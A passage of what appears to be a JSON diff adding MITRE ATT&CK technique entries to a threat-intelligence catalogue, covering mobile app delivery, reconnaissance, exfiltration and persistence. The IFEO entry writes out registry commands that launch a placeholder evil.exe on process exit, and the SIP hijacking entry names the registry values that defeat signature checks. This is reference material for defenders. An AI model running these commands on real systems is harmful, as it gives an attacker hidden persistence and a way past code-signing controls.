authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.\n\nDelivery methods for the malicious application include:\n\n* [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message.\n* [Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.\n\nAs a prerequisite, adversaries may use this PRE-ATT&CK technique:\n\n* [Obtain Apple iOS enterprise distribution key pair and certificate](https://attack.mitre.org/techniques/T1392)", + "meta": { + "external_id": "ECO-21", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1476", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html" + ] + }, + "uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "value": "Deliver Malicious App via Other Means - T1476" + }, + { + "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)", + "meta": { + "external_id": "T1362", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1362" + ] + }, + "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37", + "value": "Upload, install, and configure software/tools - T1362" + }, + { + "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n Zhou and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.", + "meta": { + "external_id": "T1402", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1402", + "http://ieeexplore.ieee.org/document/6234407" + ] + }, + "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "value": "App Auto-Start at Device Boot - T1402" + }, + { + "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)", + "meta": { + "external_id": "T1344", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1344" + ] + }, + "related": [ + { + "dest-uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33", + "value": "Friend/Follow/Connect to targets of interest - T1344" + }, + { + "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)", + "meta": { + "external_id": "T1364", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1364" + ] + }, + "related": [ + { + "dest-uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "value": "Friend/Follow/Connect to targets of interest - T1364" + }, + { + "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1271", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1271" + ] + }, + "uuid": "762771c2-3675-4535-88e9-b1f891758974", + "value": "Identify personnel with an authority/privilege - T1271" + }, + { + "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)", + "meta": { + "external_id": "T1239", + "kill_chain": [ + "mitre-pre-attack:priority-definition-direction" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1239" + ] + }, + "uuid": "acfcbe7a-4dbc-4471-be2b-134faf479e3e", + "value": "Receive KITs/KIQs and determine requirements - T1239" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)", + "meta": { + "external_id": "T1248", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1248" + ] + }, + "related": [ + { + "dest-uuid": "7718e92f-b011-4f88-b822-ae245a1de407", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "0722cd65-0c83-4c89-9502-539198467ab1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "c721b235-679a-4d76-9ae9-e08921fccf84", + "value": "Identify job postings and needs/gaps - T1248" + }, + { + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)", + "meta": { + "external_id": "T1294", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1294" + ] + }, + "uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8", + "value": "Analyze hardware/software security defensive capabilities - T1294" + }, + { + "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1255", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1255" + ] + }, + "uuid": "ef0f816a-d561-4953-84c6-2a2936c96957", + "value": "Discover target logon/email address format - T1255" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)", + "meta": { + "external_id": "T1267", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1267" + ] + }, + "related": [ + { + "dest-uuid": "7718e92f-b011-4f88-b822-ae245a1de407", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "c721b235-679a-4d76-9ae9-e08921fccf84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "0722cd65-0c83-4c89-9502-539198467ab1", + "value": "Identify job postings and needs/gaps - T1267" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1278", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1278" + ] + }, + "related": [ + { + "dest-uuid": "c721b235-679a-4d76-9ae9-e08921fccf84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "0722cd65-0c83-4c89-9502-539198467ab1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7718e92f-b011-4f88-b822-ae245a1de407", + "value": "Identify job postings and needs/gaps - T1278" + }, + { + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "meta": { + "external_id": "T1300", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1300" + ] + }, + "related": [ + { + "dest-uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc", + "value": "Analyze organizational skillsets and deficiencies - T1300" + }, + { + "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "meta": { + "external_id": "T1011", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1011" + ] + }, + "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "value": "Exfiltration Over Other Network Medium - T1011" + }, + { + "description": "An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.\n\nA malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.\n\nAlternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.\n\nAn adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.\n\nIf applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.", + "meta": { + "external_id": "T1410", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1410", + "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" + ] + }, + "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "value": "Network Traffic Capture or Redirection - T1410" + }, + { + "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)", + "meta": { + "external_id": "T1260", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1260" + ] + }, + "related": [ + { + "dest-uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "856a9371-4f0f-4ea9-946e-f3144204240f", + "value": "Determine 3rd party infrastructure services - T1260" + }, + { + "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)", + "meta": { + "external_id": "T1303", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1303" + ] + }, + "uuid": "34450117-d1d5-417c-bb74-4359fc6551ca", + "value": "Analyze presence of outsourced capabilities - T1303" + }, + { + "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "meta": { + "external_id": "T1039", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1039" + ] + }, + "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "value": "Data from Network Shared Drive - T1039" + }, + { + "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). Wang et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).", + "meta": { + "external_id": "APP-20", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1407", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", + "https://www.internetsociety.org/sites/default/files/10_5_0.pdf", + "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", + "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei" + ] + }, + "uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "value": "Download New Code at Runtime - T1407" + }, + { + "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", + "meta": { + "external_id": "T1084", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "WMI Objects" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1084", + "https://www.secureworks.com/blog/wmi-persistence", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf", + "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "value": "Windows Management Instrumentation Event Subscription - T1084" + }, + { + "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", + "meta": { + "external_id": "T1094", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring", + "Host network interface", + "Network intrusion detection system", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1094", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "value": "Custom Command and Control Protocol - T1094" + }, + { + "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1431", + "refs": [ + "https://attack.mitre.org/techniques/T1431" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2", + "value": "App Delivered via Web Download - T1431" + }, + { + "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "meta": { + "external_id": "T1183", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1183", + "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", + "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", + "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", + "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", + "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "62166220-e498-410f-a90a-19d4339d4e99", + "value": "Image File Execution Options Injection - T1183" + }, + { + "description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.", + "meta": { + "external_id": "T1417", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1417", + "https://zeltser.com/third-party-keyboards-security/" + ] + }, + "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "value": "Malicious Third Party Keyboard App - T1417" + }, + { + "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "meta": { + "external_id": "T1198", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Application logs", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1198", + "https://msdn.microsoft.com/library/ms537359.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", + "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", + "https://github.com/mattifestation/PoCSubjectInterfacePackage", + "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + ] + }, + "uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "value": "SIP and Trust Provider Hijacking - T1198" + }, + { + "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)", + "meta": { + "external_id": "T1224", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1224" + ] + }, + "uuid": "d3999268-740f-467e-a075-c82e2d04be62", + "value": "Assess leadership areas of interest - T1224" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)", + "meta": { + "external_id": "T1284", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1284" + ] + }, + "related": [ + { + "dest-uuid": "856a9371-4f0f-4ea9-946e-f3144204240f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "value": "Determine 3rd party infrastructure services - T1284" + }, + { + "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "meta": { + "external_id": "T1243", + "kill_chain": [ + "mitre-pre-attack:target-selection" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1243" + ] + }, + "uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9", + "value": "Determine highest level tactical element - T1243" + }, + { + "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "meta": { + "external_id": "T1244", + "kill_chain": [ + "mitre-pre-attack:target-selection" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1244" + ] + }, + "uuid": "b9148981-152a-4a19-95c1-962803f5c9af", + "value": "Determine secondary level tactical element - T1244" + }, + { + "description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.", + "meta": { + "external_id": "PHY-2", + "kill_chain": [ + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1427", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", + "http://dl.acm.org/citation.cfm?id=1920314", + "http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/" + ] + }, + "uuid": "a0464539-e1b7-4455-a355-12495987c300", + "value": "Attack PC via USB Connection - T1427" + }, + { + "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)", + "meta": { + "external_id": "T1285", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1285" + ] + }, + "uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121", + "value": "Determine centralization of IT management - T1285" + }, + { + "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)", + "meta": { + "external_id": "T1259", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1259" + ] + }, + "uuid": "a2fc93cd-e371-4755-9305-2615b6753d91", + "value": "Determine external network trust dependencies - T1259" + }, + { + "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)", + "meta": { + "external_id": "T1297", + "kill_chain": [ + "mitre-pre-attack:people-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1297" + ] + }, + "related": [ + { + "dest-uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "tags": [ + 